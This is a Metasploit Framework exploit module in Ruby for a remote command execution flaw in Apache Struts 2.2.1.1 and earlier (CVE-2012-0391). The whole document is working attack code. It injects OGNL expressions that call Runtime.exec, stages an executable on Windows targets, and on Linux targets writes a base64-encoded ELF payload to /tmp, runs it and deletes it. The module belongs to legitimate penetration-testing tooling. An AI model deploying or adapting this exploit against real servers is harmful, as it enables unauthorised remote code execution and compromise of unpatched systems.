Apache Struts <= 2.2.1.1 Remote Command Execution

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::CmdStagerTFTP
 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Apache Struts <= 2.2.1.1 Remote Command Execution',
   'Description'    => %q{
     This module exploits a remote command execution vulnerability in
    Apache Struts versions < 2.2.1.1. This issue is caused because the
    ExceptionDelegator interprets parameter values as OGNL expressions
    during certain exception handling for mismatched data types of properties,
    which allows remote attackers to execute arbitrary Java code via a
    crafted parameter.
   },
   'Author'         =>
    [
     'Johannes Dahse', # Vulnerability discovery and PoC
     'Andreas Nusser', # Vulnerability discovery and PoC
     'juan vazquez', # Metasploit module
     'sinn3r' # Metasploit module
    ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: $',
   'References'     =>
    [
     [ 'CVE', '2012-0391'],
     [ 'OSVDB', '78277'],
     [ 'EDB', '18329'],
     [ 'URL', 'https://www.sec-consult.com/files/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt']
    ],
   'Platform'      => [ 'win', 'linux'],
   'Privileged'     => true,
   'Targets'        =>
    [
     ['Windows Universal',
      {
        'Arch' => ARCH_X86,
        'Platform' => 'win'
      }
     ],
     ['Linux Universal',
      {
        'Arch' => ARCH_X86,
        'Platform' => 'linux'
      }
     ],
    ],
   'DisclosureDate' => 'Jan 06 2012',
   'DefaultTarget' => 0))

   register_options(
    [
     Opt::RPORT(8080),
     OptString.new('TARGETURI', [ true, 'The path to a struts application action and the parameter to inject ie. /HelloWorldStruts2/hello?name=test&id=INJECT', ""]),
     OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ])
    ], self.class)
 end

 def execute_command(cmd, opts = {})

  uri = String.new(datastore['TARGETURI'])
  uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"]=true,@java.lang.Runtime@getRuntime().exec(\"CMD\"))%2b'") if target['Platform'] == 'win'
  uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"]=true,@java.lang.Runtime@getRuntime().exec(\"CMD\".split(\"@\")))%2b'") if target['Platform'] == 'linux'
  uri.gsub!(/CMD/, Rex::Text::uri_encode(cmd))

  vprint_status("Attempting to execute: #{cmd}")

  resp = send_request_raw({
   'uri'     => uri,
   'version' => '1.1',
   'method'  => 'GET',
  }, 5)

 end

 def windows_stager
  exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"

  print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
  execute_cmdstager({ :temp => '.'})
  @payload_exe = payload_exe

  print_status("Attempting to execute the payload...")
  execute_command(@payload_exe)
 end

 def linux_stager
  cmds = "/bin/sh@-c@echo LINE | tee FILE"
  exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
  base64 = Rex::Text.encode_base64(exe)
  base64.gsub!(/\=/, "\\u003d")
  file = rand_text_alphanumeric(4+rand(4))

  execute_command("/bin/sh@-c@touch /tmp/#{file}.b64")
  cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
  base64.each_line do |line|
   line.chomp!
   cmd = cmds
   cmd.gsub!(/LINE/, line)
   execute_command(cmds)
  end

  execute_command("/bin/sh@-c@base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
  execute_command("/bin/sh@-c@chmod +x /tmp/#{file}")
  execute_command("/bin/sh@-c@rm /tmp/#{file}.b64")

  execute_command("/bin/sh@-c@/tmp/#{file}")
  @payload_exe = "/tmp/" + file
 end

 def on_new_session(client)
  if target['Platform'] == 'linux'
   print_status("Deleting #{@payload_exe} payload file")
   execute_command("/bin/sh@-c@rm #{@payload_exe}")
  else
   print_status("Windows does not allow running executables to be deleted")
   print_status("Delete the #{@payload_exe} file manually after migrating")
  end
 end

 def exploit
  if not datastore['CMD'].empty?
   print_status("Executing user supplied command")
   execute_command(datastore['CMD'])
   return
  end

  case target['Platform']
   when 'linux'
    linux_stager
   when 'win'
    windows_stager
   else
    raise RuntimeError, 'Unsupported target platform!'
  end

  handler
 end
end